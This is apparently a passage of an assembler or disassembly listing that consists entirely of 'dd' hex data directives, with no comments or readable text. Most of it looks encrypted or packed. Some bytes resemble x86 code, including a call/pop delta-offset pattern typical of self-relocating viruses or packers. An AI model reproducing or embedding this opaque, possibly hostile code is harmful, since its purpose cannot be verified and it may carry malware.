		dd 826F85CBh, 0F6FBCAB0h, 85897E0Ah, 72447C71h,	7DFD7ABCh
		dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh,	75FD765Ch
		dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh
		dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh
		dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h
		dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h
		dd 2FFD7A2Fh, 2ECB9016h, 0CF707C7Bh, 734D2F1Ah,	0CCF50F79h
		dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 2002E7A2h,	497D7C27h
		dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh
		dd 1A17FB04h, 0F8FBCA74h, 0C5A88525h, 7D80F1CDh, 75FD725Ch
		dd 145989F2h, 75F9B8B0h, 8A40F7DCh, 46FBCA0Bh, 75F5C3EFh
		dd 0DF0E7A97h, 0F89DB9AAh, 0C5A88558h, 74C2FBF4h, 0FC7B78h
		dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h,	8A40F7ABh
		dd 0CDFBCAB0h, 75FD7AF3h, 75FD72C0h, 145789BCh,	0FE3DF19Dh
		dd 7978F7EFh, 8AFBCAC1h, 0E9CA8BD0h, 2Ah, 2404C7h, 0E8000000h
		dd 0
		dd 0EFED815Dh, 8B06B05Bh, 89042444h, 0A9176185h, 0B806h
		dd 8D8D0000h, 6A94DC0h,	54B8E1FFh, 0FE000067h, 0A7447CAh
		dd 4EFC24A8h, 0A74828Ah, 0EAD5ABA8h, 0A755A75h,	4EFD22A8h
		dd 0AE5DBA8Ah, 4EFD9F57h, 0A7A4A8Ah, 0EAD5ABA8h, 0A7A1D75h
		dd 4EF2CDA8h, 0A7A9F8Ah, 4EF34FA8h, 0A7B118Ah, 0EAD5ABA8h
		dd 0D42F2575h, 139A0995h, 0DB6C003h, 90A75218h,	57121821h
		dd 4932D121h, 0D42F433Ah, 139A0AAAh, 0DBEC003h,	90A75218h
		dd 57121BD0h, 490ED121h, 0D42F433Ah, 139A0A19h,	0D8AC003h
		dd 90A75218h, 57121A8Ch, 491AD121h, 0D42F433Ah,	139A0BE2h
		dd 0D96C003h, 90A75218h, 57121A19h, 4916D121h, 0D42F433Ah
		dd 139A0B7Ch, 0DE2C003h, 90A75218h, 5712259Fh, 496ED121h
		dd 0D42F433Ah, 139A34FEh, 0DEAC003h, 90A75218h,	57122505h
		dd 4966D121h, 0B8C3433Ah, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 0E2C0D5F2h, 96A4F5D6h, 152AA8EDh,	2429458Ah
		dd 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh,	0EAD5BA41h
		dd 0AE63CE75h, 0BC0B093Ah, 5342848Ch, 0EA2211ABh, 245D55FFh
		dd 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h
		dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h
		dd 0BFEA6603h, 0DB2FEE27h, 139A03B5h, 1129475h,	8A0D902h
		dd 0AEA4F5DDh, 51A1EC79h, 0DC0941AEh, 0A57D4922h, 3773BA8Ch
		dd 732ADF10h, 4C28C821h, 0EA2CE4FFh, 152BFD5Bh,	9881508Ch
		dd 0E1F55800h, 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0A2C0D5F2h
		dd 0DAA4F5D7h, 68A15CDDh, 0ADE78286h, 152A54A8h, 0A430BACCh
		dd 9E2CFDBAh, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 8A0D9F9h
		dd 0AEA4F5DDh, 949A0D79h, 551A2320h, 8481328Ch,	5DDF6E21h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h
		dd 0BA2458Ah, 4B24BE29h, 2429433Ah, 1957DFA0h, 515E004Dh
		dd 532A54A8h, 4357D775h, 0CDA15201h, 0FC69CE19h, 0A5B9979Bh
		dd 0FA31EFE2h, 8A0D9F9h, 0AEA4F5DDh, 949A0D79h,	651A2320h
		dd 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah
		dd 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h
		dd 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh,	51A24586h
		dd 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h
		dd 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h,	96AE3801h
		dd 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h
		dd 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h,	0D453B28Ah
		dd 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh,	19577F03h
		dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h,	24292576h
		dd 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h
		dd 0DC088600h, 0A57D4922h, 0E173BA8Ch, 9FA7FEF8h, 57121297h
		dd 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h,	402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah
		dd 152A54AFh, 70FFD775h, 45265201h, 4C28C820h, 0EA2CE4FFh
		dd 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch
		dd 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h,	570B577Fh
		dd 17868C23h, 0DB2FEF49h, 139A03B5h, 0E9C49475h, 0BE4CBD28h
		dd 7A088600h, 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah
		dd 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h,	0EA80F8A8h
		dd 0F8B0B018h, 0B9E2DFAEh, 0DC088558h, 0A57D4932h, 3771BA8Ch
		dd 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh
		dd 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh
		dd 0BF8654A8h, 4357D775h, 0DDA15201h, 0FB637726h, 4237CE25h
		dd 825D433Ah, 0E4AAECCEh, 9028EEECh, 19577F02h,	305E3803h
		dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h,	1957DFA0h
		dd 515E004Dh, 732A54A8h, 376B7732h, 8B0D903h, 0AEA4F5DDh
		dd 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h
		dd 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh,	0ADE78286h
		dd 152A54A8h, 0B824FDECh, 8FA7FFCEh, 57121297h,	0A09A8757h
		dd 0FB0E0320h, 4237CE25h, 825D433Ah, 0D8ACECCEh, 2C89EEECh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 0CAC0D5F2h, 96A4F5EAh, 152AA8EDh,	2429458Ah
		dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch
		dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah
		dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h
		dd 59D7BA86h, 493ECE25h, 0DCF1433Ah, 0A576BF32h, 0D871BA8Ch
		dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 7538C882h,	462CE4F4h
		dd 0D49DF07h, 0C6D55218h, 0B85E0003h, 152A5492h, 0AEAE3075h
		dd 8FA75CDDh, 571219BAh, 0FEB0D9FBh, 0AEA4F5D6h, 0E96FDD7Bh
		dd 51A25863h, 195FABA8h, 0DCAA3075h, 0A5766832h, 0CB2F168Ch
		dd 139A0843h, 142B9675h, 152ABD54h, 0DAC3458Ah,	0D7E3A8EDh
		dd 44BA4582h, 0E9000030h, 3Bh, 0ADBD8B60h, 8306A934h, 0C93304EFh
		dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h
		dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h
		dd 0FFFFD382h, 8BC361FFh, 6E8C8h, 0FC130000h, 0BC59B84Eh
		dd 0C6F78166h, 7E958C8h, 7D000000h, 4EE7E3Ch, 0C081E41Bh
		dd 7374h, 7E8h,	9923900h, 0F4286B97h, 3820Fh, 0BF0F0000h
		dd 6859D8h, 60000000h, 0E9CABF0Fh, 0Eh,	935B822Dh, 549C066Ch
		dd 75B7AF66h, 5E6161BCh, 0F80634FFh, 0FA8B665Ah, 0C59AF281h
		dd 0DE8B73DFh, 8641EA81h, 0F2816CDAh, 4AFE9B5h,	515152F8h
		dd 7C8EFEBBh, 8F5B5F54h, 0F503004h, 589h, 615CB900h, 815F378Bh
		dd 0AE9887EEh, 0BB606000h, 53B9120Ch, 36D4BEBFh, 8161611Bh
		dd 0AE9883C6h, 3840F00h, 0F000000h, 0FE81DAB7h,	0FFFF8D7Ch
		dd 12850Fh, 2CB50000h, 35E9h, 0A692800h, 0D04C790Dh, 0AAB3AD0Eh
		dd 6E8h, 0D148A00h, 8109A153h, 660540E3h, 71E95F39h, 4FFFFFFh
		dd 1A63A6BBh, 0A9BB6DA9h, 3ADEA6ECh, 3F68DB6Ah,	22E96432h
		dd 74000000h, 45FBDFh, 7 dup(0)
		dd 0CF0E900h, 1A680000h, 0E906B065h, 0FFF91CC1h, 0B065F268h
		dd 1CB7E906h, 0A768FFF9h, 0E906B066h, 0FFF91CADh, 0B0674568h
		dd 1CA3E906h, 9468FFF9h, 0E906B06Ah, 0FFF91C99h, 0B06D8B68h
		dd 1C8FE906h, 6F68FFF9h, 0E906B06Eh, 0FFF91C85h, 0B5B2F28Ah
		dd 4340720Fh, 0D1CE049Dh, 5E5B8D2Bh, 0E5E21EB8h, 66007AAAh
		dd 0EB872D2Ah, 7B16BCB9h, 7A64C49h, 0EE82D8D5h,	0F3B29660h
		dd 718F02F5h, 0D5679933h, 0F67CAE4Dh, 0BC0225Ah, 47D5EA85h
		dd 0FCA415AFh, 708761F8h, 439B9CC0h, 60E6E392h,	6EFC8E62h
		dd 0F27E2FFBh, 0BB47DA8Bh, 0F5FA3107h, 0C654E89Ah, 0F5FA3130h
		dd 0D96CA842h, 0BF21D22Ah, 0C230125Ah, 0D3A00F1Eh, 3Fh
		dd 816F5393h, 34D35BEFh, 5EC06F02h, 7F3D29B0h, 3ACC7DF2h
		dd 7ADC18B2h, 0EAB33C5h, 114C5442h, 5504381Dh, 3B113C2h
		dd 0F5FAD0BFh, 0C6357FE2h, 0D6FA53Eh, 0FBB0AE8h, 78BA0h
		dd 984B0000h, 852h, 6294335Ah, 78AA49CFh, 23CDF57Bh, 0D975FD91h
		dd 4E841DA3h, 0FCAA0CBBh, 0F27F24E1h, 5B9B29BDh, 45F5FB02h
		dd 0C652E594h, 0F5FB02FCh, 18FA42A5h, 0A00FF0DAh, 39BBh
		dd 6F537B00h, 4ED410AAh, 3DEC7FB5h, 236EFC8Eh, 0E3F27F23h
		dd 0AF139F32h, 0F2F5FB01h, 4ED6258Fh, 3DEC7FB5h, 0EB3CB6DBh
		dd 7D05A00Fh, 537D6DFh,	0B214C372h, 0DF52h, 94331200h
		dd 0AE3CD062h, 0FCA41548h, 1B0D0D58h, 687483F2h, 1CA257B9h
		dd 19DD6B82h, 87FCA344h, 0E9427D6h, 24AA3D6Fh, 0AA565385h
		dd 0FCA34078h, 7471A342h, 6BFD2FCEh, 8E1446E3h,	0A459BBF1h
		dd 0DA6C843Eh, 0EA7DB752h, 9725D93Bh, 0F27E5D1Eh, 0C64C49FAh
		dd 74811DFCh, 47F6A5D7h, 0D17727B5h, 0C57EBC6h,	68633B16h
		dd 5FD93B20h, 0FA941CAEh, 8D2052EFh, 0C8896DFBh, 6617FCA1h
		dd 590B08B7h, 9BFD37D1h, 0B02759F3h, 8916A27Ah,	4C7D9E33h
		dd 4D00000Ah, 0DC827FB5h, 6A100D3Fh, 0F09693D1h, 7B211E52h
		dd 77B2AFE1h, 133CDADh,	8AC25E04h, 124CE78Dh, 9ED06F15h
		dd 29B74BA1h, 0F5F3B0CDh, 333A58CBh, 0BBF59099h, 38CA7928h
		dd 680415B0h, 6CF28534h, 5B0A9DCFh, 852B4AACh, 79B7B4E6h
		dd 0CE009F27h, 12DEE46Ch, 0C564EC80h, 0DF7A0093h, 0B46312A5h
		dd 22EDA452h, 8839F27Fh, 15969F5h, 0E548F5FBh, 0EB37BB9Fh
		dd 955EA00Fh, 1E000000h, 0D0629433h, 7BA47685h,	5EC033D9h
		dd 578923A9h, 91EA38C4h, 31D0FCA3h, 0BD5C02FFh,	3092F88Bh
		dd 15A02EC0h, 1F27EAEh,	19A15350h, 7B6497Bh, 4EB0E281h
		dd 62F4FCC6h, 0C723D7D4h, 7002B3EBh, 0A12F4EE8h, 0FCA20555h
		dd 0E6E39243h, 0F36AA640h, 8916FE49h, 74B6D76Ch, 25000009h
		dd 0B45A578Dh, 42E8E517h, 0C86E6BA9h, 53F9F62Ah, 4F8A87B9h
		dd 0D90BA5D5h, 629A36DCh, 0EA24BF65h, 76A847EDh, 18F2379h
		dd 0F5F3B0F5h, 331230A3h, 0C46A6799h, 0B8F6F325h, 0CF629433h
		dd 7B78AA49h, 0D5ED37ABh, 16FB891Bh, 52F27F21h,	34EB99A1h
		dd 4250B231h, 56DE7080h, 712587BDh, 130122E3h, 9E3CC443h
		dd 1F6C216Ah, 52A9ABB9h, 54E276F0h, 52DE41A2h, 0B9E4DFEh
		dd 41D31DA5h, 52E51FB9h, 4E841DA3h, 0F6AA0CBBh,	0ADAD5668h
		dd 57F07848h, 9041BB1Dh, 0A5D776FEh, 5A6302A8h,	0A7F083C1h
		dd 162AC465h, 9F4EFD1Eh, 7D9D1628h, 0E1029726h,	8BFh, 50242DAh
		dd 9390C25Fh, 211E54EDh, 0AEABDD7Bh, 35326E08h,	0B6502AFAh
		dd 3BD77D7Ah, 0CB660C09h, 57F69C99h, 3ED22825h,	0F3AF46B0h
		dd 0C1DF52F5h, 0CF629433h, 5975969h, 7F142A77h,	19B63EF2h
		dd 33C351E3h, 6DF5FB15h, 0F37B0DBCh, 41B54358h,	25F5FB14h
		dd 0FB145F97h, 308839F5h, 2DD3D07Fh, 33EDC692h,	0C0E65BA0h
		dd 64EC7E11h, 0EE20BFCAh, 9BFDAC5Bh, 0FAEB09EDh, 37D55DF5h
		dd 0CDF5A305h, 8DF5FAFAh, 9B29BB35h, 0EBD6079Eh, 0C046D98Ah
		dd 0D078EF21h, 0DD8914E1h, 8212748h, 0E0780000h, 6401A7A4h
		dd 0F28B312Eh, 7F1DC3C0h, 10AA504Dh, 889CD7D4h,	1F1C58F2h
		dd 0AAA7DD79h, 3A376904h, 0C6C3F594h, 0A84EDC70h, 0F8F5F3AEh
		dd 0DC276785h, 0D36D355Fh, 165F0EA1h, 0A7092022h, 0BB4DA31Fh
		dd 1639533h, 9431B94Dh,	0BA1CCB5Eh, 7EFA2D0Ch, 0B548F9F2h
		dd 6360922Fh, 845020BDh, 34D0B4h, 0C175BE6Dh, 67F9A80Eh
		dd 992744DFh, 0F5FA9B5Dh, 48DB8A3Bh, 0F0823799h, 598CC68h
		dd 3AF76BCh, 2CDB0548h,	6F7F42CAh, 0D52F4FDDh, 5809F5FAh
		dd 6BA13EC6h, 33CE5409h, 4EE86E01h, 0ED307F12h,	0AD101787h
		dd 31630047h, 0D33A8834h, 0A120F5FAh, 0E46E26Ah, 0FAD37482h
		dd 0C47324F5h, 79169E32h, 9F01B043h, 0FAD5A9F1h, 0D1CE7FF5h
		dd 0CA5C8E2Bh, 0E113AE36h, 0FAD3A155h, 0EC4EFFF5h, 0D41FAB37h
		dd 57BAF5FAh, 0D70DAAEDh, 659734DAh, 0D56C46D2h, 2A8DF5FAh
		dd 50E971C2h, 6B08B012h, 0BB63C39h, 2FBD51E3h, 0F5FAD3C7h
		dd 8E20D1h, 0F5FAD3F6h,	0DB8FF1A2h, 0FAD3744Dh,	0B143F4F5h
		dd 0F5578D29h, 8C1AAE40h, 0F5FAD36Ah, 64FF8536h, 3F1AC82Ah
		dd 0D05A1E31h, 2CB4076Dh, 0D7FC5E92h, 33F0DD1Bh, 0CDFF9E26h
		dd 17B0B6Bh, 0CF570000h, 0E3B1FA34h, 0C6FBA033h, 273E7EE0h
		dd 3CCF019Fh, 1FA32B8Dh, 44B13FD1h, 54F27F0Fh, 0EA8911A3h
		dd 7509BBB8h, 0FB100FE7h, 76D889F5h, 87262FCEh,	8113A655h
		dd 96295BF9h, 7DD785E7h, 0E86F34B4h, 0B4C00B56h, 2EC1F38Ch
		dd 467B367Fh, 83E94EB0h, 0D30DA830h, 0F82AC971h, 22C149FBh
		dd 47E68EF0h, 68F08215h, 560598CCh, 99556CF4h, 4158F69Ch
		dd 0B51243B3h, 0FDAC5D7Ah, 1345E46Ah, 0C8D17016h, 0B665F82Ch
		dd 5AE27407h, 732183C1h, 0EC22BCB1h, 0E42B91D4h, 70161345h
		dd 850D9FD1h, 7625B8EAh, 0C8F95F14h, 0F0069426h, 0B0093E5Fh
		dd 0C25C02FFh, 2C95FB8Eh, 149C30C2h, 35E34577h,	93E5FC5h
		dd 7F2522D3h, 951BAEE0h, 2F36C9FBh, 801F60CCh, 9A28BC4Eh
		dd 93E5F5Ch, 0A298B3Ch,	93C564h, 242D279Ah, 5B8D2C30h
		dd 0D5954E12h, 6C009426h, 3E3618DEh, 86BE5A09h,	6D1B7D2Eh
		dd 93E3581h, 91DC6E1Fh,	1078D58Bh, 0B855DB88h, 0DE40EF82h
		dd 487A19BFh, 5A942FB5h, 0A81459C7h, 496C867h, 2514E270h
		dd 0D384093Eh, 55A05271h, 0FABA9A3h, 718194DDh,	7918C022h
		dd 734EB447h, 0C755E97Bh, 93E462Fh, 0A256B869h,	0BE3C30Eh
		dd 0AD6E66ACh, 0FA559D4Bh, 0A253093Eh, 5364FFA5h, 45F487B9h
		dd 249D0396h, 3CAA38CAh, 5C093EFAh, 68FCAEABh, 3EFB1CDAh
		dd 69CB7C09h, 62943329h, 8E2BB365h, 160BEB79h, 0E495FCA4h
		dd 0B375EC35h, 5D83769Ch, 0A14F73FBh, 42AC810Fh, 0AA32F27Eh
		dd 0F771D311h, 912CB446h, 21BC625Fh, 0B4477918h, 0CE61932Eh
		dd 2EC1701Fh, 64F6FAC8h, 0D54CCBD6h, 972ADBEBh,	917BBA05h
		dd 826CA506h, 0C92B5DFCh, 0A403A71Bh, 0E10FB3FCh, 0F22CC74Fh
		dd 9A4EB05Fh, 7F112D0Ch, 9CAEF9F2h, 0AE23E17Bh,	31B94BFAh
		dd 1AC95C96h, 0DE7D03B8h, 3D2935ACh, 0FB908FBDh, 4D2DAh
		dd 0F52FC700h, 7FB552F8h, 1143DC82h, 9CD06E14h,	255FF99Fh
		dd 4337ED28h, 0D47A77A9h, 61070438h, 0E98F8CC6h, 0C51B184Ah
		dd 0AB53A331h, 0DA4DF5F3h, 0E76F53BCh, 0DC552C1Ch, 0EEFCB11Fh
		dd 72BBAB49h, 0F48214C3h, 0F27F0019h, 0CFD670BBh, 0E4D224B2h
		dd 1DCEF5FAh, 0C24AC7D4h, 4B293B7h, 0CA2CDB21h,	7A0C9F50h
		dd 8B1E56F2h, 0F5CC7ADCh, 0AAF5FAA7h, 0D51DFD47h, 0C0A00F95h
		dd 0B6h, 17652D80h, 294CFCA4h, 41DBE483h, 1ECD7C0Fh, 0CA389B21h
		dd 1544AA38h, 9344FCA4h, 0A9DB7A00h, 55AD26ACh,	55A12FC3h
		dd 43FCA415h, 0E87C3092h, 1630C654h, 0E870FCA4h, 769184Ch
		dd 0A4159559h, 9231B9FCh, 0D384FE60h, 8826AE40h, 0FD2FCE54h
		dd 0B159BB6Ah, 5B700912h, 4EE190C2h, 41F3F09Fh,	78061BB9h
		dd 0FCA4157Eh, 27BA691Ah, 78242F78h, 6758806Dh,	0D5567D05h
		dd 0C557063Ch, 0A410AB37h, 7A0CBDFCh, 0DFAAB22Fh, 1A7C329Dh
		dd 0B9E9D965h, 6DD0FCA3h, 38F3E007h, 23D2659Fh,	8E54E274h
		dd 0E0FCA339h, 3A38BE4Ch, 0B768FCA3h, 2D2ADB55h, 0A5ECh
		dd 0DC27AE00h, 0F08FA042h, 0C149AB12h, 0CF5DEF01h, 0F27EC76Ah
		dd 0C395B904h, 925CADE2h, 7305B630h, 0BA1C4EEBh, 0B1E37F05h
		dd 5A922EB4h, 8BC03AC8h, 27D8F5FAh, 8BB70894h, 0E94CF5FAh
		dd 8E33BF83h, 0C30EAD62h, 283AC06h, 0E747A901h,	56h, 7F6D53A7h
		dd 15975FEDh, 5001FCA4h, 929B36BEh, 0AE10BFF5h,	45DF67F9h
		dd 6501A90Bh, 1638BE4Ch, 0E068FCA4h, 0C9780B45h, 0E86E6B1Ah
		dd 0F48214D8h, 0FCA417BEh, 886EFC90h, 18FCA415h, 0DA8B0567h
		dd 5607BB47h, 4FB2FCA4h, 0EEFEC2E5h, 0D7E4CE5Ch, 0F3A4FCA3h
		dd 9433B8F6h, 1605F17Fh, 0E293FCA4h, 2356A133h,	51916EF4h
		dd 0C036C456h, 0E0FCA3D9h, 9218CD2Fh, 3EC4C1F3h, 4CDA6C84h
		dd 0F27EE891h, 22AA3CEDh, 2AC84E86h, 4DDF94F6h,	63F62CC5h
		dd 1EA452B4h, 83F5FAE6h, 0D367D420h, 0FAE6B145h, 0DC3EEFF5h
		dd 0FD43BB7h, 345AA0h, 271A0000h, 15F10593h, 0FEAFFCA4h
		dd 6BAE149Ch, 5AEC9BCDh, 7F23C5CCh, 3DD081F2h, 0FB0111B1h
		dd 0C72D90F5h, 0FEBEF03h, 0D7A6A0h, 6AF20000h, 550497CDh
		dd 9F27B3F3h, 8D3CCF01h, 18E4832Bh, 8DA8AF69h, 0B3ED876Eh
		dd 3CC25504h, 48DC6EA2h, 0B1E4ACFDh, 0D965347Eh, 0FCA37D1Dh
		dd 0B368CA7Bh, 84C28E2Dh, 0CC2AB8BAh, 0CCFCA3FEh, 0E092D21Bh
		dd 46781399h, 27720497h, 69C0CF8Fh, 0B860C2A8h,	3EEAE719h
		dd 0FCA32DE4h, 0C8C5F796h, 0DF7A8322h, 0D163F6A5h, 0C9CAC486h
		dd 0D26CB2DCh, 0AD5C0B9Eh, 0F1FFC34Bh, 3528D15Fh, 0CF80F27Eh
		dd 7A764CD2h, 0E5D95AE8h, 0CBDEBC6h, 1C58F27Ah,	0A5DF791Fh
		dd 16872E2Eh, 0C9EA7F89h, 1DBh,	0F1EE26BEh, 7F7CAE4Bh
		dd 50240D9h, 928FC15Fh,	211E52ECh, 0A23C3EE6h, 2FCB716Eh
		dd 0BF5A00FDh, 43E28885h, 2ABE1411h, 0F3A85A9Ch, 0B5D346F5h
		dd 6A679933h, 0F6F325C4h, 816F53B8h, 98CA67EFh,	9DF48236h
		dd 2FF27F23h, 0A7306AE4h, 0CF31A2DAh, 9F39C155h, 271DD965h
		dd 307BF5FAh, 949A68F7h, 1DCC7B6Bh, 3DC4FE8Ah, 7ADDF5FAh
		dd 27A25032h, 0D1F3A00Fh, 0B3000000h, 0CF629433h, 0E275AF49h
		dd 0A412CC56h, 0DD0FAEFCh, 9A62EE0h, 2AC971D3h,	4BD365F8h
		dd 0D80CA8B1h, 85E79629h, 992BC5FDh, 7F0FEE0Bh,	0C09BAF2h
		dd 311A3C86h, 7B9FFC5Ch, 0BB43D584h, 0D98DEF21h, 0C6E30B4Bh
		dd 12A455EBh, 0B7B4F08Ah, 0D4E17D05h, 0C75A093Bh, 740EB618h
		dd 0B5E578A6h, 0CB7A64ABh, 16C3DA54h, 0E5069B89h, 0F7h
		dd 0CDCA0AA2h, 5B588A27h, 0E9E61CB5h, 7673A543h, 0FDFA36D0h
		dd 7E1862C2h, 39F4542h,	932ED4D1h, 1FBE6461h, 69AF0EDh
		dd 0F3A77E78h, 89A71AF5h, 0D1039F27h, 0F32DC76Fh, 0E5B150F6h
		dd 7C0A381Eh, 0FCA3707Ah, 5C2C7526h, 0A84EDCCCh, 0F8FCA3E4h
		dd 0ECE99847h, 0DE18A63Ah, 0BAFCA3E4h, 0C95C9832h, 0C9096B1Ah
		dd 0ED8B9433h, 5D621021h, 5F0E7B27h, 0FD961EB0h, 8C1F51F0h
		dd 17CC2EDDh, 0C3C0F291h, 0D96B853Dh, 739E814Bh, 7C19A1F2h
		dd 0E26AE446h, 0CC7B0E46h, 69038B1Dh, 9A20D537h, 26CCC9FBh
		dd 0ACE07E87h, 27216A19h, 9E566441h, 5FEB7E2Dh,	0AB1FD34Dh
		dd 68AF1558h, 0F49A97C9h, 0A902355h, 9EA5386Ch,	1F69A1ECh
		dd 0CA57FD26h, 56B90368h, 6179EBB7h, 43224EC6h,	66AF695Ch
		dd 0D382F7A5h, 29024D6h, 0B6A8C1F4h, 0E991F3A4h, 6485184Ah
		dd 3, 332D4D26h, 50D6699Bh, 66EC7FB1h, 800699CBh, 971DB0E4h
		dd 0AA30C3FDh, 0BB41D410h, 0D258EB1Dh, 0E268FB39h, 2A7C0F45h
		dd 815E5456h, 4C6h, 4EE8300h, 5C243487h, 8904EC83h, 89522434h
		dd 4C281E2h, 83000000h,	148704EAh, 14895C24h, 63576824h
		dd 348B06B0h, 4C48124h,	54000000h, 8324148Bh, 575604C4h
		dd 531241BFh, 247C0136h, 428F5F04h, 86A8108h, 36531241h
		dd 5A2434FFh, 0FF04C483h, 835E2434h, 0EAE904C4h, 0EEFFF90Fh
		dd 9EA873F2h, 8A83EA6Dh, 0C757B43Eh, 8BB87BE4h,	306B06Fh
		dd 67E0FFC5h, 0E273C2A6h, 386DA3ECh, 0B715DA7h,	766D7AEAh
		dd 2E195A0Ch, 656E2F5h,	7E100D05h, 701534F5h, 0AD33BB83h
		dd 353C3024h, 313C9915h, 6FA789h, 0E8467D2Ch, 11h, 319F3A35h
		dd 0DF109D4Ah, 0E29F95ACh, 0EEE5FC40h, 0EE816681h, 0E95AC484h
		dd 10h,	0B30DF4D3h, 0E4DCE8Ah, 216A6840h, 0E45C0F30h, 64DBC281h
		dd 0C88B0000h, 18FF68h,	0F7D98000h, 0FED9805Bh,	81F93A8Bh
		dd 0ABA327C7h, 0B966607Fh, 8166A572h, 615D29D7h, 2A64F781h
		dd 0E9534240h, 8, 0E62BCC50h, 302468FAh, 0E9F78158h, 8B59130Ch
		dd 0AE857F2h, 0A000000h, 8B4B2491h, 0C35B52C8h,	0CA8B66E2h
		dd 0B4028F59h, 1EA8344h, 0CA4DD981h, 4A4A2F87h,	0F3BF0F4Ah
		dd 1EB81h, 850F0000h, 2Fh, 0FE8h, 79F08800h, 5D1C9E89h
		dd 367D3CAAh, 7C1E87F0h, 0E95963B1h, 23h, 149E1166h, 850AD131h
		dd 0B40530F7h, 9149ED74h, 80747169h, 65E9E9C5h,	79FFFFFFh
		dd 56E24DDAh, 0E88B0B3Bh, 12h, 57922707h, 32B72665h, 0E920C1ECh
		dd 4DE0CB8Ch, 63B70900h, 8166605Eh, 61EB20E2h, 0D7CCC681h
		dd 0DE8A0000h, 35C168h,	6E900h,	0D5530000h, 16744705h
		dd 68BF85Ah, 1810Fh, 81F80000h,	6A678FC0h, 48C0816Ah, 607A4DCEh
		dd 7E860h, 34CF0000h, 655C1E67h, 71B5595Dh, 8161FC61h
		dd 0A0E6F7E8h, 10E854h,	1E6C0000h, 1A90C9FBh, 81665E58h
		dd 0D1809CF2h, 0B70F526Bh, 6895BF8h, 10E9h, 39D52F00h
		dd 910E2CA3h, 0BC936BA0h, 750647E7h, 2EE8345h, 4E2FCB80h
		dd 0FEBF0F4Eh, 10850F4Ah, 0F000000h, 1DE9CAB7h,	2D000000h
		dd 209F7F4h, 6687F5D1h,	47DCB81h, 0FFFF75E9h, 61BD46FFh
		dd 15AD506Ah, 6D446F45h, 0FE8h,	680D9300h, 0ED217F1h, 4CFE4C5Fh
		dd 2F98504Fh, 0F2F5DF81h, 815B2F14h, 0F7F00FCFh, 5EC3813Bh
		dd 0F00005Bh, 58Fh, 0FCEBB800h,	682DD5h, 0F000000h, 0FF5ECABFh
		dd 0B8501E34h, 5A1DE691h, 0BE95A5Fh, 0F6000000h, 0CB353FE1h
		dd 3A205C6Bh, 0EA81A15Ch, 614010B1h, 5F42C7B9h,	3EC28101h
		dd 817AC292h, 0C1A291C2h, 6652571Bh, 5F937AB8h,	33148959h
		dd 81CA8B66h, 2A3C6EEEh, 8E967h, 401E0000h, 1D602458h
		dd 0C6814E2Dh, 672A3C6Ah, 11E9h, 7F0B600h, 4F320050h, 871EE066h
		dd 0EA96FA6Ch, 0FE81691Eh, 0FFFFA584h, 1C850Fh,	850F0000h
		dd 0Bh,	6E9h, 29AF5800h, 0E9C28FDFh, 1Fh, 258B2661h, 0C18B5949h
		dd 0FFFF62E9h, 0E5FE17FFh, 0DDA9AA98h, 8D73EDA6h, 9FE2CC79h
		dd 0E9684769h, 0ECh, 0
